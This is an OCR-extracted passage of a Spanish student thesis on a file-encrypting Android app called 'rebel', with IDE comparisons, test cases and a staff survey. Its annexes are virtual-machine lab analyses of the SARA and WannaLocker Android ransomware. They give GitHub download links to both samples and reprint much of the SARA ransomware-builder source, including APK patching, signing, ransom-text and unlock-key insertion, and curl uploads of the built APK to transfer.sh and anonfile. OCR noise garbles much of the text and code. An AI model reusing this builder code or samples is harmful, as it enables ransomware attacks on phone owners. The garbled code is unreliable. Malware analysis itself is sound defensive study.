F#, Go, Jade, Java,
HandleBars, Ini, Lua,
Makefile, Markdown,
Obijective-C, Perl, PHP,
PowerShell, Python, R,
Razor, Ruby, SQL, Visual
Basic, XML, CSS, HTML,
JavaScript, JSON, Less,
Sass, C# y TypeScript

Construccion y gestion de Si Si

proyectos  basado en

Maven (herramienta de
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software para la gestion y
construccion de proyectos
Java, similar a Apache
ANT, pero su modelo es
més simple ya que esta
basado en XML)

Control de versiones facil

Si, desde la version 3.0

Si, desde la version 2.0.0

Refactorizacion y Si Si
completado avanzado de

cddigo Android

Disenfo del editor grafico Si Si

Firma APK y gestion de Si Si

almacén de claves

Soporte para NDK (Native Si Si
Development Kit:

herramientas para

implementar codigo nativo

escrito en Cy C++)

Soporte para Google Cloud Si Si, pero mediante una
Platform extension

Vista en tiempo real de Si Si
renderizado de layouts

Nuevos  modulos  en Si Si

proyecto

Editor de navegacion Si Si
Generador de assets Si Si, mediante extensiones
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Visualizacion de recursos Si Si
desde editor de cadigo

Virtualizacion Si No

Tabla 4 Android Studio vs Visual Code

Mediante la tabla podemos observar que entre estos dos entornos de desarrollo no son
muy diferentes, pero podemos determinar varios aspectos, por ejemplo a pesar de que
Visual Code soporta muchos lenguajes de programacion haciendo factible para mas
desarrolladores esta ambientando para el desarrollo de paginas web y aplicaciones, algo
mas general, pero en cambio como Android Studio fue mas pensado para méviles debido
que tiene una funcion que para muchos es “satisfactorio” y rapido, es el tema de la
virtualizacion que no solo te deja visualizar como seria la aplicacion sino que puedes
modificarla graficamente, lo Gnico malo de esto es que se necesita de una computadora

bastante robusta.

En base a lo antes expuesto, la mejor opcion seria Visual Code debido a que es mas liviano
y te permite muchas cosas similares que Android Studio, pero igual aqui ya depende del
desarrollador si es que tiene un PC buena elegira el segundo, con tal que estos dos
entornos cumplen con su funcion perfectamente, no obstante para el trabajo se necesita
de Android Studio debido que permite crear aplicaciones de manera mas sencilla sin
necesidad de requerir de plugins externos o instalaciones a parte ademas que tiene su

propio sistema de virtualizacion y facilita la creacién de layouts de manera grafica.
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3.3 Disefno

3.3.1 Wireframe de la aplicacion

——— ——

REBEL {1

Pantalia Principol Deve

L Google Drive

Figure 10 Wireframe de la Aplicacion

——

Settinas

Configuracion de Clave

Ingresa su clave

Guardar Clave

Wolver

Figure 11 Segunda parte del Wireframe
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3.3.2 Interfaces de aplicacion

REGISTRAR CLAVE

GOOGLE DRIVE

Figure 12 Pantalla Principal de
la App

En esta pantalla se visualiza la aplicacion completa con las funciones

disponibles en el momento.

Settings

Configuracion de Clave

GUARDAR CLAVE

VOLVER

Figure 13 Pantalla de
registrar clave

Se visualiza la pantalla donde se puede registrar la clave que le permitira al

usuario cifrar la informacion.
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Confirmar

Ya hay una clave guardada. Si

guarda una nueva, reemplazard la
actual. ;Desea continuar?

CANCELAR si

Figure 14 Pantalla de
validacion de clave

Si ya existe una clave guardada saldra una pantalla con el mensaje de que se

reemplazaré la clave que esté ingresando por la almacenada.

&=e al 65% @ 13:31
& Pruebas Q
Nombre =
- : a
202307270 Analisis
02418.mp4  * casoestud.. *
i
° L]
== %
Analisis desc: argaJpe .
m casoestud.. '
¥ s Y
@ w 2 ]
Inicio Destacados Compartidos  Archivos

Figure 15 Pantalla del Drive

Al pulsar el botdn de Google Drive nos llevara a la aplicacion si la tenemos en

nuestros moviles sino abrira el navegador para entrar a nuestra cuenta.
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3.3.3 Diagrama de casos de uso

Aplicacion mvil para resguarde de los datos

Ingreso ala
—  aplicacion
<<indude>>

Usuario/Cliente indludes> _

<<include>>

Respaldar datos

Figure 16Caso de uso para ingreso de la aplicacion y
respaldo de informacion

Dirigido: Clientes | Autor: Jose Mero

Caso de uso: Ingreso de la aplicacién y copia manual de los datos

Descripcion
El cliente debe descargar la aplicacién mavil en su dispositivo, debe tener instalado Google
Drive 0 un navegador para que la aplicacion lo redirija a este para respaldar su informacion.

Flujo Bésico
e El cliente tendra acceso a la funcion de copias de seguridad de manera manual.

Tabla 5 Caso de uso para ingreso de la aplicacion y vinculacion con servicio en la nube

Aplicacién mévil para resguardo de datas

[ ]
Entra en la opeién de
—L ajustes y cvear clave
<<ir:dud€4:‘
Usuario/Cliente .\

Figure 17 Caso de uso para activacion de cifrado

Dirigido: Clientes | Autor: Jose Mero

Caso de uso: Activacion de cifrado

Descripcion
El cliente debe pulsar la opcion crear una clave para cifrar, despues en el icono de la pantalla
principal, se pulsa para cifrar sus datos.

Flujo Bésico
e El cliente podra realizar el cifrado de su informacion.

Tabla 6 Caso de uso para activacion de cifrado
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3.4 Programacion

3.4.1 Recursos utilizados para el desarrollo de la aplicacion

Tipo de Recurso Recursos Utilizados Motivo de Utilizacién

Ligero y permite usar diversas
bibliotecas o importaciones para

utilizar varias funciones ademas de

Lenguaje de programacion Java
alta compatibilidad en el desarrollo
de aplicaciones.
Permite la automatizacion de
compilacién de codigo abierto, la
Framework Gradle cual se encuentra centrada en la

flexibilidad y el rendimiento.

Android Studio permite hacer
pruebas de la aplicacion de manera

mas sencill r medi
Entorno de desarrollo as sencilla por medio de su

integrado (IDE)

Android Studio . . . ,
sistema de virtualizacion, ademas

permite crear layouts mas rapido y
eficaces.

Tabla 7 Recursos Utilizados

3.4.2 Estructura del codigo de la aplicacion

A continuacion se mostrara el codigo de la aplicacion.

Figure 18 Importaciones de la Actividad Principal
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En la imagen anterior [Figure 18] se muestran las diferentes importaciones que se

utilizaron para desarrollar la aplicacion.

= il Nav

Figure 19 Variables de la Actividad Principal

En las imagenes [19-20] se visualizan las variables que se usan de manera local en la
clase principal ademas de los eventos que se generan al presionar los botones y la

imagen de la aplicacion.

Figure 20 Funciones de las actividades de botones principales e imagen
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Figure 26 Funcidn para enviar los directorios a cifrar
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Figure 32 Funcion para leer cada archivo
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3.5 Pruebas

Prueba N.° 1: Registro de clave.

Objetivo: Registrar una clave para controlar si cifrar o no la

informacion.

Descripcion: Cada usuario podra registrar una clave para autorizar

el cifrado de los datos.

Nivel de Baja
Complejidad:

Caso N.° 1: Comprobar que los usuarios puedan registrar una clave

Datos de Entrada: Datos de Salida:

Clave de usuario Si le permite autorizar el cifrado de su

informacion.

Caso N.° 2: Si ya existe una clave guardada

Datos de Entrada: Datos de Salida:

Elere i e Mostrara una notificacion si desea

reemplazar la clave antigua.

Tabla 8 Escenario de Prueba 1: Registro de Clave

Prueba N.° 2: Activacion de cifrado.

Objetivo: Activar la opcion de cifrado de los datos.

Descripcion: Cada usuario podra cifrar su informacién mediante
esta opcion.
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Nivel de Baja
Complejidad:

Caso N.° 1: Si tiene una clave ya registrada

Datos de Entrada: Datos de Salida:
Clave Si le permite autorizar el cifrado de su
informacién.

Caso N.° 2: Si ingresa una clave erronea

Datos de Entrada: Datos de Salida:
Clave No se realizara el cifrado en el
dispositivo.

Tabla 9 Escenario de Prueba 2: Activacion de cifrado

Prueba N.° 3: Acceso a Google Drive

Objetivo: Acceder al servicio en la nube de Google.

Descripcion: Cada usuario podré acceder a Google Drive para

resguardar su informacion de forma manual.

Nivel de Baja
Complejidad:

Caso N.° 1: Si tiene una conexion a internet

Datos de Entrada: Datos de Salida:

Internet Podré realizar una copia de seguridad
de sus datos.
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Caso N.° 2: Si no tiene conexion a internet

Datos de Entrada: Datos de Salida:

Internet No podra respaldar la informacion que

desee.

Tabla 10 Escenario de Prueba 3: Acceso a Google Drive
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Capitulo 4: Analisis de Resultados

4.1 Interpretacion de la informacion

La encuesta estd dirigida al personal del Instituto Ecuatoriano De Seguridad Social
(IEES), los cotejos estan orientados en los entornos de desarrollo que permitirian realizar
la aplicacion, por ultimo el cuadro comparativo hara referencia a los tres lenguajes de
programacion mas comunes en los dispositivos moviles, beneficiando de esta manera a
los desarrolladores debido que tendran mediante la guia una fuente de informacion valiosa

para implementarlo.

La encuesta se lo realizo a todos los trabajadores de la institucion (20 trabajadores
operando actualmente) con el fin de obtener informacién acerca del estado actual que
presentan a la hora de resguardar su informacion personal en los dispositivos moviles, si

realizan copias de seguridad y demas.
La encuesta se podra visualizar en el [Anexo 1]
1.- ¢ Usted posee un dispositivo mévil?

Por medio de esta pregunto se logré determinar la cantidad de personas que poseen un
dispositivo mavil en la empresa, lo cual se aprecia que un 5% de los mismos no lo poseen,
por lo cual se determina que estas personas el Unico dispositivo que tienen informacion
serian los mismos proporcionados por la institucion.

2.- En su dispositivo movil ¢ Qué tipo de informacién guarda?

La pregunta numero dos se puede observar que el 90% de los empleados guardan
informacién tanto personal como de trabajo en su dispositivo mévil, con esto se puede

determinar que es un recurso importante en la misma empresa.
3.- ¢Usted posee un método para resguardar su informacién? (copias de seguridad)

En la pregunta tres podemos observar que la mitad de los empleados no usan ningun
método de copia de seguridad o resguardo de la informacion en caso de pérdida de

informacién o del propio dispositivo.

4.- ¢ Conoce que es un malware o en términos mas comunes, un virus informatico?
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En la pregunta cuatro se observa que el 60% de los empleados si tienen conocimientos
acerca de los virus informaticos debido que es muy comun que de vez en cuando por
medio de los correos una que otra maquina se infecte, no solo esto puede afectar a las
Pc’s si no que los dispositivos moviles también pueden ser objetivos de estos virus

causando danos al celular o secuestrando la informacion almacenada.
5.- ¢ Cual de estos servicios usted conoce o ha escuchado?

En la quinta pregunta se logra apreciar que el 90% de los empleadores utilizan el servicio
de Google Drive junto con OneDrive que tiene un 65% determinando gque son servicios

en la nube mas comunes y con mejor reputacion en este ambito.
6.- ¢ Usted dispone de conexién a internet por medio de wifi en todo momento?

En la sexta pregunta podemos destacar que un 60% de los encuestados si logran tener una
conexion a internet por medio del wifi permitiendo de esta forma ver que si necesitan
hacer una copia de seguridad se la podria hacer de manera eficiente a pesar de que

necesitan estar cerca de la empresa para realizarlo.

7.- ¢ Usted dispone de conexion a internet por medio de datos moviles en todo

momento?

En la pregunta siete podemos definir que el 65 % de los empleados si tiene una conexion
a internet por medio de datos moviles sin importar la operadora, permitiendo de esta
forma ver que pueden llegar a realizar copias de seguridad en cualquier momento teniendo

como Unica limitante el plan que posean.

8.- Si usted sufre robo de su dispositivo mévil ¢Cual de estos métodos usa para

recuperar su informacion?

En la octava pregunta podemos definir que en caso de hurto de los dispositivos el 45% de
los empleadores utilizan los servicios en la nube para recuperar la informacion que
resguardaron, por otro lado un 15% no utiliza ninguna forma de recuperacién por lo cual

esa informacion se pierde por completo.

9.- Los datos que posee en su dispositivo movil (imagenes, documentos y videos)¢ Los

considera importantes?

Por medio de la encuesta antes expuesta podemos determinar varios puntos importantes

por ejemplo el 90% de los trabajadores de la empresa guardan mucha informacién en sus
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moviles incluso datos de la propia institucion lo cual hace esencial el uso de los
dispositivos en el area del trabajo, por otro lado, a pesar de esto existe un 50% de los
trabajadores que no realizan una copia de seguridad de su informacion dando a conocer
que por la gran cantidad de documentos que manejan se complica y toma tiempo realizar

estos respaldos.

En otros caso los trabajadores si logran disponer de conexion a internet sea por red wifi
0 por datos maviles, por ultimo en caso de pérdida del movil sea por robo u otro caso se
puede determinar que el 45% si logra recuperar sus datos o al menos la informacion que
lograron respaldar por medio de los servicios en la nube mientras que existen casos que

incluso no recuperan su informacion.
4.2 Evaluacion de métricas de rendimiento de la aplicacion

A continuacion se describen las siguientes métricas para evaluar el rendimiento de la

aplicacion movil basada en ransonware.

Cifrado de los datos y respaldos

Metrica Tiempo (Seg)
Cifrado de la informacion 7 seg Aprox.
Eliminacion de los archivos originales 7 seg Aprox.
Velocidad de cifrado bajo carga 10 seg Aprox.
Tiempo de inicializacién del cifrado 1 seg Aprox.
Velocidad de respaldar los datos 1 seg Aprox por archivo . (Mas depende

del tipo de archivo)

Velocidad para descargar el respaldo 1 seg Aprox por archivo . (Mas depende
del tipo de archivo)
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Conclusiones

La app movil rebel funciona para los dispositivos Android a partir de la version

4.0, habilitando el modo root.

El proceso de cifrado de la app rebel funciona en un 100% de efectividad para

todos los tipos de archivos.

El proceso de copia de seguridad se realiza de forma semiautomatica, lo que
significa, que los usuarios deben seleccionar los archivos mas importantes que

desean respaldar en el drive de la nube.

El lenguaje de programacion java es el Optimo para desarrollar este tipo de
aplicaciones, debido a su facilidad de uso y compatibilidad con la libreria Cipher.

Android Studio tiene mejores prestaciones de desarrollo, debido a que tiene
sistema de debugg para el manejo de errores, y permite crear layout de manera

mas sencilla.

Cipher facilita el proceso de cifrado de datos debido a su esquema de cifrado AES,
ademas de la libreria File para el manejo de los directorios del movil.
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Recomendaciones
Es necesario que se automatice el modo root para el uso de la aplicacion rebel, es
decir, que este proceso de valide durante la instalacion de la aplicacion.

El proceso de copia de seguridad debe realizarse de forma automatica para todos

los archivos almacenados en el dispositivo movil que desean respaldar.

Es necesario adquirir los permisos de las API’s para mejorar e implementar mas

funcionales en la app rebel.

Incentivar a los usuarios el uso de herramientas de seguridad informaética en

dispositivos moviles.
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ANexos



Anexo[1]

Encuesta al Instituto Ecuatoriano De Seguridad Social (IEES)

1.- ¢Usted posee un dispositivo moévil?

® s
® NO

2.- En su dispositivo movil ¢ Qué tipo de informacion guarda?

@ Personal
® Trabajo
@ Ambas
l @ Ninguna Informacion
- -

3.- ¢Usted posee un método para resguardar su informacion? (copias de seguridad)

20 respuestas

20 respuestas

20 respuestas

® s
® NO




4.- ;Conoce que es un malware o en términos mas comunes, un virus informatico?

20 respuestas

® sl
@® NO
@ Medio

5.- ¢Cudl de estos servicios usted conoce o ha escuchado?

20 respuestas

Google Drive 18 (90 %)

OneDrive 13 (65 %)

Dropbox 12 (60 %)
Apple iCloud Drive
Livedrive

HiDrive

Ninguna

6.- ¢Usted dispone de conexién a internet por medio de wifi en todo momento?

20 respuestas

@ s
® NO
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7.- ¢{Usted dispone de conexién a internet por medio de datos maéviles en todo

momento?

20 respuestas

@ sl

8.- Si usted sufre robo de su dispositivo mavil ¢ Cual de estos métodos usa para recuperar

su informacién?

20 respuestas

@ Senvicios en la nube para copias de
seguridad (Google
Drive,Onedrive,entre otros)

[ ] Respalda su informacion colocandola

en otro dispositivo mediante pendrive u

otro medio
' © Ambas

@ Ninguna

9.- Los datos que posee en su dispositivo mdvil (imagenes, documentos y videos)¢Los

considera importantes?

® sl
® NO
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Anexo[2]

Laboratorio de Slocker en maquina virtual Android.

Pasol. Como primer paso para analizar cuidadosamente el Sara Ransonware que es el
predecesor del Slocker se debe preparar un entorno donde se lo ejecutara, se monta una
maquina virtual con una imagen iso en este caso Android 9 con adaptador de red en NAT
para evitar algun tipo de propagacion por la red.

T Android [Corrie

1:29p. m.
2123 €

£ ) 48 Ao )

o
. - = 1829
3% O Escribe aquf para buscar A:M H @ = m v @ ABETO) B B

Figure 33 Visualizacion de maquina virtual Android

Paso2. Ahora se procede ir al repositorio en GitHub para descargar el ransonware en

https://github.com/termuxhackers-id/SARA y se procede a descargar varios archivos de
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M imagenes Modificacion v
- @ @ @ @
Audio
@®  Reciente
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https://github.com/termuxhackers-id/SARA

Figure 34 Visualizacion de archivos

Paso3. Ahora se procede a ejecutar el Ransonware. como precaucién se desconecta de la

B 2ndroid 3 [Comisndo] - Oracls U VirtualBox - x
Archive Méquina Ve Entrada  Dispositives  Ayuda

10:09 i [
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iDeseas instalar esta aplicacion? No requiere accesos especiales.
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Figure 35 Instalacion de ransonware
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Figure 36 Aplicacion instalada

Se empieza a notar lentitud en ciertas acciones:

Viendo desde otra perspectiva el ransonware realiza las siguientes instalaciones que le

permitirian activar y realizar procesos del malware:

#!
/usr/bin/bash
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sudo apt-get install openjdk-17-jdk -y
sudo apt-get install aapt zipalign -y
sudo apt-get install apktool -y

sudo apt-get install imagemagick -y

sudo apt-get install python3 python3-pip -y

pip install Pillow

B android o
[ s ] Qg o @@ Brenc
B O Escribe aqui para buscar _,_,M e = m @ v D ~® GO zsff;;Lzz =
Figure 37 Lentitud en maquina virtua. Primer Segundo
B 2ndraid 0 [Corriendo] - Oracle UM VirtualBox - X
Archive  Miquins  Ver Entrad Ayuds
Galeria no responde
X Cerrar app
®©  Esperar
b o €
& o @@ @ronta
= O Escribe aqui para buscar 4 ﬂ @ - m @ v D N\ E 2;\2}:723 g

Figure 38 Lentitud en maquina virtual. Segundos despues

El malware tiene las siguientes importaciones y verifica los deméas recursos estan

disponibles para realizar el ataque:
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#!
/usr/b
in/env
python
3

import os, sys, time, base64, json, fileinput
from shutil import which
from getpass import getpass
try:
from PIL import Image
except (ImportError,ModuleNotFoundError):

os.system("python3 -m pip install --upgrade pip && python3 -m pip
install Pillow")

# colors

r‘)g)y.vb_v d, R,Y,B,w,W,D =
"\@33[1;31m","\@33[1;32m","\033[1;33m", "\@33[1;34m","\033[2;37m", "\@33[1;
41m","\@33[1;43m","\@33[1;44m","\@33[6m","\@33[1;47m", "\033[2;00m"

# get default encoding
if not sys.getdefaultencoding() == "utf-8":

exit(f"{w}{R} ERROR {w} please set terminal encoding to UTF-8")
# check file and directory

if not os.path.isdir("data"): exit(f"{w}{R} ERROR {w} directory data not
found ")

if not os.path.isfile("ubersigner.jar"): exit(f"{w}{R} ERROR {w} file

ubersigner.jar not found !")

if not os.path.isfile("testkey.jks"): exit(f"{w}{R} ERROR {w} file
testkey.jks not found !")

75



@A Android 3 [Corrien do.
Archive  Miguina

AppName continta fallando
@  Informacién de apps

X Cerrar app &

EEELEEE Eor
B O Escribe aqui para buscar _m e - m @ v @ A GO g B

Figure 39 Fallos al abrir aplicaciones

Con este codigo comprueba si se cargo todo correctamente:

def

check_requirements():
if which("aapt"): pass

else: exit(f"{w}{R} ERROR {w} please install package:
aapt")

if which("mogrify"): pass

else: exit(f"{w}{R} ERROR {w} please install package:

imagemagick™)
if which("java"):

java_version=os.popen("java --

version","r").read().splitlines()[90]

if not "openjdk 17" in java_version: exit(f"{w}{R}

ERROR {w} oops you're java is not openjdk 17 !")

else: exit(f"{w}{R} ERROR {w} please install package:
openjdk 17")

if which("apktool"):

apktool_version=o0s.popen("apktool --

version","r").read().splitlines()[0]
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if not "2.6.1" in apktool version: exit(f"{w}{R}
ERROR {w} oops you're apktoil is not apktool 2.6.1 !")

else: exit(f"{w}{R} ERROR {w} please install package:
apktool 2.6.1")

Empez0 a encriptar las iméagenes

@ Android 9[Corriendo
Brchiva  Méquina Ve

images (1).jpeg.enc
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Figure 40 Imagenes encriptadas

También los archivos pdf que se descargaron

@A Android 3 [Corrien do.
Archive  Miguina

images (1).jpeg.enc
169K8

i@ o BERE ¢ @ratan
O Escribe aqu para buscar ,M e - =26 v @ P

Figure 41 Archivos encriptados

Para encriptar los archivos usa el siguiente codigo:



Class
SARA:

de __init_ (self):

self.AppIcon=
self.AppName=""
self.AppTitle=""

self.AppDesc=
self.AppKeys=""
def write(self,file,old,new):
while True:
if os.path.isfile(file):
replaces = {old:new}
for line in fileinput.input(file, inplace=True):
for search in replaces:
replaced = replaces[search]
line = line.replace(search,replaced)
print(line, end="")
break

else: os.system("rm -rf sara > /dev/null 2&>1"); exit(f"{w}{R}
ERROR {w} failed to write on file: {file}")

def buildapk(self):
try:
os.system("apktool b --use-aapt2 sara -o final.apk")
if os.path.isfile("final.apk"):
os.system("rm -rf sara > /dev/null 2>&1")

os.system("java -jar ubersigner.jar -a final.apk --ks
testkey.jks --ksAlias android --ksPass android --ksKeyPass android >

/dev/null 2>&1")

os.system("java -jar ubersigner.jar -a final.apk --
onlyVerify > /dev/null 2>&1")

if os.path.isfile("final-aligned-signed.apk"):

output = self.AppName.replace(' ', "'"')+".apk"

os.system("rm -rf final.apk > /dev/null 2>&1")

78



os.system("mv final-aligned-signed.apk "+output)

print(w+"-"%*43)

Aqui se aprecia como quedo el almacenamiento del dispositivo comparada a lo que se

mostraba en el paso 2
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Figure 42 Almacenamiento del mdvil infectado

Algo curioso que realiza este malware a diferencia del WannalLocker es que los archivos

los manda a un servidor remoto: https://api.anonfile.com/upload (actualmente caido)

mediante el siguiente fragmento de cddigo:

ask=str(input(
f"{b}>{w} Do

you want to

share this
APK's ? (y/n):
").lower())
if ask == "y":
print(f"""

{w}[{r}SHARE TO{w}]
{w}[{b}1{w}] transfer.sh - transfer file online
{w}[{b}2{w}] anonfiles.com - anonymous file upload

™)

while True:
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x=str(input(f"{b}>{w} choose: "))
if x in ("1","01"):

link=os.popen(f"curl -s --
upload-file {output} https://transfer.sh").readline().strip()

if len(str(link)) != @:
print(f"{b}>{w} Success shared to: {g}{link}{w}"); break

else: print(f"{b}>{w} Failed
shared to: {r}https://transfer sh{w}"); break

elif x in ("2","02"):

os.system(f"curl --no-progress-
meter -F 'file=@{output}' https://api.anonfile.com/upload >

response.json")
f=open("response.json","r")
j=json.load(f)
if j["status"] == True:
f.close()

os.system("rm -rf

response.json")

link=j["data"]["file"]["url"]["full"]

print(f"{b}>{w} Success
shared to: {g}{link}{w}")

break

else: print(f"{b}>{w} Failed
shared to: {r}https://anonfile.com{w}"); break

else: continue
else: pass

getpass(f"{b}>{w} Success saved as: {B}
{output} {w}")

exit()

else: os.system("rm -rf final.apk > /dev/null
2>&1"); exit(f"{w}{R} ERROR {w} failed to sign APK's")

else: os.system("rm -rf sara > /dev/null 2>&1");
exit(f"{w}{R} ERROR {w} failed to build APK's")

except Exception as ERROR:
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exit(f"{w}{R} ERROR {w} process stopped: {ERROR}")
def builder(self,version):
print("")
if version ==
while True:

x=str(input(f"{b}>{w} SET APP_ICON ({r}PNG:
icon.png{w}): "+g))

if os.path.isfile(x):
if ".png" in x:
self.AppIcon=x
break

else: print(f"{w}{R} ERROR {w} File format

not accepted !"); continue

else: print(f"{w}{R} ERROR {w} File not found
please fill correctly !"); continue

while True:

x=str(input(f"{b}>{w} SET APP_NAME ({r}EX: My
Apps{w}): "+g))

if len(x) !=0: self.AppName=x; break
else: continue
while True:

x=str(input(f"{b}>{w} SET APP_TITLE ({rl}EX:
Phone Hacked{w}): "+g))

if len(x) !=0: self.AppTitle=x; break
else: continue
while True:

x=str(input(f"{b}>{w} SET APP_DESC ({r}EX:
Contact Me{w}): "+g))

if len(x) !=0: self.AppDesc=x; break
else: continue
while True:

x=str(input(f"{b}>{w} SET APP_KEYS ({r}EX:
SeCr3t{w}): "+g))

if len(x) !=0: self.AppKeys=x; break
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else: continue

print(f"{b}>{w} Building your ransomware APK's")

print(w+"-"*43+d)

os.system("apktool d data/vl/sara.apk")

if os.path.isdir("sara"):
strings="sara/res/values/strings.xml"
print("I: Using strings: "+strings)

smali=os.popen(f"find -L sara/ -name
'*0000.smali'","r").readline().strip()

print("I: Using smali "+os.path.basename(smali))
self.write(strings, "appname",self.AppName)
print("I: Adding name with "+self.AppName)
self.write(strings,"alert_title",self.AppTitle)
print("I: Adding title with "+self.AppTitle)
self.write(strings,"alert_desc",self.AppDesc)

print("I: Adding description with
"+str(len(self.AppDesc))+" words")

self.write(smali, "key_pass",self.AppKeys)
print("I: Adding unlock key with "+self.AppKeys)
time.sleep(3)
print("I: Adding icon with "+self.AppIcon)
for path in imgvl:
if os.path.isfile(path):
with Image.open(path) as target:
width, height = target.size

size

str(width)+"x"+str(height)

logo "sara-

"+0s.path.basename(self.AppIcon)

os.system("cp -R "+self.AppIcon+"
"+logo)

os.system("mogrify -resize "+size+"

"+logo+";cp -R "+logo+" "+path)

os.system("rm -rf "+logo)
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else: os.system("rm -rf sara > /dev/null
2&>1"); exit(f"{w}{R} ERROR {w} directory not found: {path}")

self.buildapk()

else: os.system("rm -rf sara > /dev/null 2&>1");
exit(f"{w}{R} ERROR {w} failed to decompile APK's")

elif version ==
while True:

x=str(input(f"{b}>{w} SET APP_ICON ({r}PNG:
icon.png{w}): "+g))

if os.path.isfile(x):
if ".png" in x:
self.AppIcon=x
break

else: print(f"{w}{R} ERROR {w} File format

not accepted !"); continue

else: print(f"{w}{R} ERROR {w} File not found
please fill correctly !"); continue

while True:

x=str(input(f"{b}>{w} SET APP_NAME ({r}EX: My
Apps{w}): "+g))

if len(x) !=0: self.AppName=x; break
else: continue
while True:

x=str(input(f"{b}>{w} SET APP_DESC ({r}EX:
Contact Me{w}): "+g))

if len(x) !=0: self.AppDesc=x; break
else: continue

print(f"{b}>{w} Building your ransomware APK's")

print(w+"-"*43+d)

os.system("apktool d data/v2/sara.apk")

if os.path.isdir("sara"):
strings="sara/res/values/strings.xml"
print("I: Using strings: "+strings)
self.write(strings, "AppName",self.AppName)
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self.write("sara/smali/com/termuxhackersid/services/EncryptionSe

rvice.smali","AppName", self.AppName)

self.write("sara/smali/com/termuxhackersid/services/DecryptionSe

non

rvice.smali","AppName",self.AppName)

print("I: Adding name with "+self.AppName)

self.write("sara/smali/com/termuxhackersid/services/EncryptionSe

non

rvice.smali","AppDesc",self.AppDesc)

self.write("sara/smali/com/termuxhackersid/ui/MainActivity$a.sma

1i","AppDesc",self.AppDesc)

self.write("sara/smali/com/termuxhackersid/ui/MainActivity.smali

, "AppDesc",self.AppDesc)

print("I: Adding description with
"+str(len(self.AppDesc))+" words")

time.sleep(3)
print("I: Adding icon with "+self.AppIcon)
for path in imgv2:
if os.path.isfile(path):
with Image.open(path) as target:

width, height = target.size

size = str(width)+"x"+str(height)

logo = "sara-

"+os.path.basename(self.AppIcon)

os.system("cp -R "+self.AppIcon+"
"+logo)

os.system("mogrify -resize "+size+"

"+logo+";cp -R "+logo+" "+path)
os.system("rm -rf "+logo)

else: os.system("rm -rf sara > /dev/null
2&>1"); exit(f"{w}{R} ERROR {w} directory not found: {path}")

self.buildapk()
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else: os.system("rm -rf sara > /dev/null 2&>1");

exit(f"{w}{R} ERROR {w} failed to decompile APK's")

else: exit(f"{w}{R} ERROR {w} oops no other version yet
")

No obstante, la parte del bloqueo de pantalla no se aprecia debido que es una maquina
virtual, pero se aprecian méas cosas como la lentitud a la hora de realizar otras acciones y

se crean otros archivos fraudulentos.

Parte del bloqueo visto desde un movil

Figure 43 Teléfono infectado

Para realizar esta accion de bloqueo utiliza el siguiente fragmento de cédigo.

while

True:
x=str(input(f"{w}[{b}?{w}] choose: "))
if x in ("1","01"): self.builder(1); break
elif x in ("2","@02"): self.builder(2); break

elif x in ("3","@3"): exit(f"{w}{R} EXIT {w} thank you for

using this tool !")

else: continue
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" n

if _name__ == "_main__":
try:
Sara=SARA()
Sara.menu()
except KeyboardInterrupt:

exit(f"{w}{R} ABORTED {w} the user has terminated the process")
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Anexo [3]

Laboratorio de WannaLocker en maquina virtual Android.

Pasol. Se crea una maquina virtual con una imagen iso de Android en este caso fue
version 9.0

al
9:47 M LA -
& New tab X +
¢ [k} bearch or type web address \!1
Search or type web address \!J
E [ ] a w
Facebook YouTut Wikiped
= = : @
ESPN con Yahoo eBay Instagrar
Articles foryou Hide
Prince Harry to make small trip to UK to return favour to
'unofficial best man'
‘@ Geotv-Haced horas @
v
Sl o =0 Gl o G Rioht el
. . - 21:47
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Figure 44 Maquina virtual de Android
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Paso2. Se procede a descargar el material para la prueba de ransonware Slocker

@
] ‘ Imagenes Modificacion Vv 7
(] Videos
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® Reciente m m
i Descargas g
B s M savnemrn: | B e
< ﬁf:- . @
; QuEs 1@ B
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Figure 45 Almacenamiento del mévil

Paso3. Se procede a buscar el virus en el siguiente link

https://github.com/sk3ptre/AndroidMalware 2019
1]

[a) < c & https://github.com/sk3ptre/Android ware_2019/blob, ster/WannaLocker.zip W ¥ [+] "

O Product Solutions Open Source Pricing Sign in IVSignup"

B sk3ptre / AndroidMalware_2019  Public L\ Notifications | %# Fork 95 ¥ Star 237

<> Code (%) Issues 1 17 Pullrequests (&) Actions [ Projects () Security |~ Insights

¥ master ~  AndroidMalware_2019 / WannaLocker.zip Goto file

View raw
(Sorry about that, but we can't show files that are this big right now.)

+ Wannalocker.zip. Open x

1
e ° [#) Right cirl
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PR 1 = —_—

21:59
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Figure 46 Ubicacion del malware
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https://github.com/sk3ptre/AndroidMalware_2019

Paso4. Se procedio de deshabilitar el wifi para evitar problemas con el ransonware y a

activar el mismao.

Lo més curioso de este malware es que al ser hecho en java tiene varias partes que

funcionan por separado con sus propias importaciones y procesos que posterior pueden

compartir.
[Y CustomProgressBarjava Initial contribution
[Y EncryptFragmentjava Initial contribution
D MainActivity java Initial cantribution
B MainFragmentjava Initial contribution
[ Utisjava Initial contribution

Figure 47 Malware

5 years ago
5 years ago
5 years ago
5 years ago

5 years ago

Se empieza con la parte de instalacion del apk del malware para ver como actta en una

maquina virtual de Android.
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Figure 48 Ubicacion del apk en el movil
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Aqui podemos observar que se hace pasar por un juego de movil, pero una vez lo

abramos, se activara el ransonware.
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n == ) @ i
- ‘ © 3
4
1okt
Archivos Busqueda por voz Calculadora Calendario Calibration Chrome
e ”~~
B $ A ™M G
Configuracion Contactos Dev Tools Galeria Gmail Google
H > (6 | @ E
Mdsica Notes Play Store RAR Reloj RSS Reader
h o @
Taskbar Teléfono Terminal FERIEHMER

B O Escribe aqui para buscar ,.mﬂ e - Q) G v | ,i)" H ~ D 7 ) 27;2};:23 ™|

Figure 49 Aplicacion en el movil

Empezara por cambiar la foto de fondo de pantalla

[ Andorid [Corriendo]
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Figure 50 Acciones del malware
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Después la aplicacion cambiara al “contrato”, que muestra un mensaje, este es el que

muestra el virus para asustar al usuario que dice que sus archivos estan bloqueados.
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Figure 51 Mensaje de secuestro de datos

Aqui se observa como el “juego” cambio de icono y de nombre.

Como se realiza esto pues de la siguiente forma:

setTitle("Lycorisradiata");
getSupportFragmentManager().beginTransaction()

.replace(R.id.frame_content, new

MainFragment())
.commit();
Utils.bz(this);

setIconSc();
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Aqui podemos observar como sustituye el icono anterior por la del contrato de rescate y
se visualiza que utiliza otra parte del codigo més especifico el Utils.java donde se
encuentran varias funciones del malware.
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Figure 52 Cambio de la Aplicacién

La encriptacion la realiza de la siguiente forma.

Como se dijo cada proceso tiene su propio “documento” donde importa lo que necesita
y realiza sus propias funciones, este seria la de encriptacion, pero este codigo es

heredado de Utils.java donde usa los procesos de encriptacion :

Funcién heredada:

package

com.android.tencent.zdevs.bah;

import android.os.Bundle;
